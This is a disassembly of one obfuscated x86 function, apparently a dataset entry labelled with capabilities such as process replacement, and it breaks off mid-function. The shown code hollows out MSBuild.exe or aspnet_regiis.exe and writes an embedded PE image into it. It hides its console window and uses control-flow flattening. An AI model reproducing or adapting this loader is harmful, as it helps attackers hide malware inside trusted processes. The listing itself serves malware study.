Function at 0x10002550
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x10065400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0x3d4c08ad
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x82b17400
je 0x100030b4
jmp 0x1000258c
mov eax, dword [ebp - 0x168]
sub eax, 0x90677cd8
je 0x1000450a
jmp 0x100025a2
mov eax, dword [ebp - 0x168]
sub eax, 0x91608f9e
je 0x10004217
jmp 0x100025b8
mov eax, dword [ebp - 0x168]
sub eax, 0x97717a15
je 0x10003a06
jmp 0x100025ce
mov eax, dword [ebp - 0x168]
sub eax, 0x97d917f4
je 0x10003b3d
jmp 0x100025e4
mov eax, dword [ebp - 0x168]
sub eax, 0xa05ef731
je 0x100043ec
jmp 0x100025fa
mov eax, dword [ebp - 0x168]
sub eax, 0xa26fa9a6
je 0x10003114
jmp 0x10002610
mov eax, dword [ebp - 0x168]
sub eax, 0xa3274b5e
je 0x10004740
jmp 0x10002626
mov eax, dword [ebp - 0x168]
sub eax, 0xa44ea7d9
je 0x100031b5
jmp 0x1000263c
mov eax, dword [ebp - 0x168]
sub eax, 0xa4ef26b4
je 0x10003ebf
jmp 0x10002652
mov eax, dword [ebp - 0x168]
sub eax, 0xacd51ffa
je 0x10003b82
jmp 0x10002668
mov eax, dword [ebp - 0x168]
sub eax, 0xae32ce09
je 0x100040e2
jmp 0x1000267e
mov eax, dword [ebp - 0x168]
sub eax, 0xae4c4f07
je 0x10004277
jmp 0x10002694
mov eax, dword [ebp - 0x168]
sub eax, 0xafe12ed9
je 0x10004384
jmp 0x100026aa
mov eax, dword [ebp - 0x168]
sub eax, 0xb63c29c4
je 0x10003632
jmp 0x100026c0
mov eax, dword [ebp - 0x168]
sub eax, 0xbafba885
je 0x1000471c
jmp 0x100026d6
mov eax, dword [ebp - 0x168]
sub eax, 0xc04f2ee1
je 0x10004666
jmp 0x100026ec
mov eax, dword [ebp - 0x168]
sub eax, 0xc29dbc7c
je 0x10004268
jmp 0x10002702
mov eax, dword [ebp - 0x168]
sub eax, 0xc4480797
je 0x10003ad3
jmp 0x10002718
mov eax, dword [ebp - 0x168]
sub eax, 0xcac79170
je 0x10003b1c
jmp 0x1000272e
mov eax, dword [ebp - 0x168]
sub eax, 0xcc0d1c7f
je 0x100037a4
jmp 0x10002744
mov eax, dword [ebp - 0x168]
sub eax, 0xcc88ddaa
je 0x100042e5
jmp 0x1000275a
mov eax, dword [ebp - 0x168]
sub eax, 0xd2043916
je 0x100046dd
jmp 0x10002770
mov eax, dword [ebp - 0x168]
sub eax, 0xd3bc5c7a
je 0x100041a9
jmp 0x10002786
mov eax, dword [ebp - 0x168]
sub eax, 0xd4485e29
je 0x10003fc4
jmp 0x1000279c
mov eax, dword [ebp - 0x168]
sub eax, 0xd4b7710b
je 0x100043dd
jmp 0x100027b2
mov eax, dword [ebp - 0x168]
sub eax, 0xd4e33222
je 0x10003404
jmp 0x100027c8
mov eax, dword [ebp - 0x168]
sub eax, 0xd4eefcfb
je 0x1000381a
jmp 0x100027de
mov eax, dword [ebp - 0x168]
sub eax, 0xd571fb70
je 0x10003c19
jmp 0x100027f4
mov eax, dword [ebp - 0x168]
sub eax, 0xe24f135a
je 0x100045e1
jmp 0x1000280a
mov eax, dword [ebp - 0x168]
sub eax, 0xe3aa44b5
je 0x10002e65
jmp 0x10002820
mov eax, dword [ebp - 0x168]
sub eax, 0xe4cbf92b
je 0x10003d04
jmp 0x10002836
mov eax, dword [ebp - 0x168]
sub eax, 0xea1a3076
je 0x10004731
jmp 0x1000284c
mov eax, dword [ebp - 0x168]
sub eax, 0xec3e5d1b
je 0x10002fff
jmp 0x10002862
mov eax, dword [ebp - 0x168]
sub eax, 0xef18c30d
je 0x100046ec
jmp 0x10002878
mov eax, dword [ebp - 0x168]
sub eax, 0xefbf464c
je 0x10002f65
jmp 0x1000288e
mov eax, dword [ebp - 0x168]
sub eax, 0xf9ddd5f6
je 0x100030a5
jmp 0x100028a4
mov eax, dword [ebp - 0x168]
sub eax, 0xfd24859e
je 0x1000419a
jmp 0x100028ba
mov eax, dword [ebp - 0x168]
sub eax, 0xff5dd041
je 0x1000436a
jmp 0x100028d0
mov eax, dword [ebp - 0x168]
sub eax, 0x5766c5
je 0x1000435b
jmp 0x100028e6
mov eax, dword [ebp - 0x168]
sub eax, 0x2c18162
je 0x100047a0
jmp 0x100028fc
mov eax, dword [ebp - 0x168]
sub eax, 0xcc83220
je 0x10003583
jmp 0x10002912
mov eax, dword [ebp - 0x168]
sub eax, 0xdc0ddac
je 0x1000335c
jmp 0x10002928
mov eax, dword [ebp - 0x168]
sub eax, 0x13330600
je 0x100030d2
jmp 0x1000293e
mov eax, dword [ebp - 0x168]
sub eax, 0x1383c8cd
je 0x10003a98
jmp 0x10002954
mov eax, dword [ebp - 0x168]
sub eax, 0x14ee9f32
je 0x100047af
jmp 0x1000296a
mov eax, dword [ebp - 0x168]
sub eax, 0x1dc9016f
je 0x10004686
jmp 0x10002980
mov eax, dword [ebp - 0x168]
sub eax, 0x1e8a50e8
je 0x10003938
jmp 0x10002996
mov eax, dword [ebp - 0x168]
sub eax, 0x1ed2bc5a
je 0x10003c79
jmp 0x100029ac
mov eax, dword [ebp - 0x168]
sub eax, 0x223564fa
je 0x10003c96
jmp 0x100029c2
mov eax, dword [ebp - 0x168]
sub eax, 0x26141008
je 0x10004444
jmp 0x100029d8
mov eax, dword [ebp - 0x168]
sub eax, 0x26c33432
je 0x10002f03
jmp 0x100029ee
mov eax, dword [ebp - 0x168]
sub eax, 0x26dab3c4
je 0x10003d87
jmp 0x10002a04
mov eax, dword [ebp - 0x168]
sub eax, 0x28106514
je 0x10003da8
jmp 0x10002a1a
mov eax, dword [ebp - 0x168]
sub eax, 0x288c41f4
je 0x1000404c
jmp 0x10002a30
mov eax, dword [ebp - 0x168]
sub eax, 0x2a30fbbd
je 0x10003bab
jmp 0x10002a46
mov eax, dword [ebp - 0x168]
sub eax, 0x2ac3590a
je 0x10003c6a
jmp 0x10002a5c
mov eax, dword [ebp - 0x168]
sub eax, 0x30992367
je 0x1000372e
jmp 0x10002a72
mov eax, dword [ebp - 0x168]
sub eax, 0x30a99147
je 0x100043a5
jmp 0x10002a88
mov eax, dword [ebp - 0x168]
sub eax, 0x315e8c5a
je 0x10003700
jmp 0x10002a9e
mov eax, dword [ebp - 0x168]
sub eax, 0x31d0c097
je 0x10003aa7
jmp 0x10002ab4
mov eax, dword [ebp - 0x168]
sub eax, 0x34e6dd95
je 0x10003dd4
jmp 0x10002aca
mov eax, dword [ebp - 0x168]
sub eax, 0x35036c27
je 0x1000334d
jmp 0x10002ae0
mov eax, dword [ebp - 0x168]
sub eax, 0x3551305a
je 0x1000383b
jmp 0x10002af6
mov eax, dword [ebp - 0x168]
sub eax, 0x394e23c2
je 0x100043fb
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4d400
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx edx, word [eax]
mov eax, 0x63f81c55
mov ecx, 0x26c33432
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x164], 0x4a81b9bd
jmp 0x10004809
mov edx, dword [ebp - 0xf0]
mov eax, 0x51538bd8
mov ecx, 0x4f98f1c8
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005a10
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005a10
add esp, 0xc
mov eax, dword [ebp - 0x12c]
add eax, 0x18
mov dword [ebp - 0xec], eax
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0x5fd44e80
sub edx, 1
sub edx, 0x5fd44e80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e2970f9
mov ecx, 0xf9ddd5f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0x82b17400
jmp 0x10004809
mov eax, dword [ebp - 0xec]
add eax, 0x60
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x164], 0x13330600
jmp 0x10004809
mov eax, dword [ebp - 0xe8]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0x12d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x134], eax
mov dl, byte [ebp - 0x12d]
mov eax, 0xa26fa9a6
mov ecx, 0x6db183e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x164], 0x41dcec61
jmp 0x10004809
mov dl, byte [ebp - 0xe1]
mov eax, 0xe24f135a
mov ecx, 0x68c93477
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0xdc0ddac
jmp 0x10004809
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0x3fb5a722
mov ecx, 0xd4e33222
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x164], 0x57917ff6
jmp 0x10004809
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc0], eax
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0xf41b6b47
sub edx, 1
add edx, 0xf41b6b47
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x636db4e7
mov ecx, 0x7f2f87d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xc0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x124]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x12c]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x12c]
sub ecx, 0xd2423645
add ecx, 0x18
add ecx, 0xd2423645
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 0x14]
add ecx, 0x595abacb
add ecx, eax
sub ecx, 0x595abacb
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x164], 0x315e8c5a
jmp 0x10004809
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xb9], al
mov dword [ebp - 0x164], 0x30992367
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
add edx, 0x7da7947d
sub edx, 1
sub edx, 0x7da7947d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd2043916
mov ecx, 0xcc0d1c7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0x659eab54
sub edx, 1
add edx, 0x659eab54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd2043916
mov ecx, 0xd4eefcfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dl, byte [ebp - 0xb9]
mov eax, 0xcac79170
mov ecx, 0x3551305a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x164], 0x4688d71b
jmp 0x10004809
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb0]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
sub esi, 0x37e8cb29
add esi, eax
add esi, 0x37e8cb29
mov edx, dword [ebp - 0xb4]
mov eax, 0x772ff842
mov ecx, 0x46032b50
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x160]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub ecx, 0x369c204e
sub ecx, edx
add ecx, 0x369c204e
add eax, ecx
mov dword [ebp - 0xac], eax
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef18c30d
mov ecx, 0x1383c8cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0x31d0c097
jmp 0x10004809
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x772ff842
jmp 0x10004809
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x164], 0x7ec60400
jmp 0x10004809
cmp dword [ebp - 0x158], 0
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0x164], 0x97d917f4
jmp 0x10004809
mov dl, byte [ebp - 0xa1]
mov eax, 0x394e23c2
mov ecx, 0x4d42dbae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x9c]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xa0]
mov eax, 0x394e23c2
mov ecx, 0x2a30fbbd
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x51b7f607
mov ecx, 0xd571fb70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0x86d18822
sub edx, 1
sub edx, 0x86d18822
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x51b7f607
mov ecx, 0x2ac3590a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0x1ed2bc5a
jmp 0x10004809
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x164], 0x223564fa
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbafba885
mov ecx, 0xe4cbf92b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x98]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbafba885
mov ecx, 0x26dab3c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dl, byte [ebp - 0x91]
mov eax, 0xa05ef731
mov ecx, 0x28106514
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x164], 0x34e6dd95
jmp 0x10004809
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x941be7b3
sub ecx, 8
add ecx, 0x941be7b3
shr ecx, 1
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x34]
add ecx, 0x9bc6220d
sub ecx, eax
sub ecx, 0x9bc6220d
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov dword [ebp - 0x164], 0x5aa27b42
jmp 0x10004809
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea1a3076
mov ecx, 0x52c35204
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov ax, word [ebp - 0x7e]
movzx ecx, ax
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x84]
add ecx, 0x9ef93a05
add ecx, eax
sub ecx, 0x9ef93a05
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xd3bc5c7a
mov ecx, 0x288c41f4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x164], 0x632f9917
jmp 0x10004809
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0xd22b8bf2
sub edx, 1
add edx, 0xd22b8bf2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3274b5e
mov ecx, 0xfd24859e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0xd3bc5c7a
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x640f7dc4
mov ecx, 0x91608f9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
sub edx, 0x6e2f4dad
sub edx, 1
add edx, 0x6e2f4dad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x640f7dc4
mov ecx, 0xc29dbc7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0xae4c4f07
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2c18162
mov ecx, 0xcc88ddaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0x1b6e1562
sub edx, 1
add edx, 0x1b6e1562
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c18162
mov ecx, 0x5766c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0xff5dd041
jmp 0x10004809
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x164], 0xafe12ed9
jmp 0x10004809
mov ecx, dword [ebp - 0x78]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x5aa27b42
jmp 0x10004809
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0xd4b7710b
jmp 0x10004809
mov dword [ebp - 0x164], 0x1ed2bc5a
jmp 0x10004809
mov dword [ebp - 0x164], 0x394e23c2
jmp 0x10004809
mov eax, dword [ebp - 0x12c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x138]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x74], eax
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
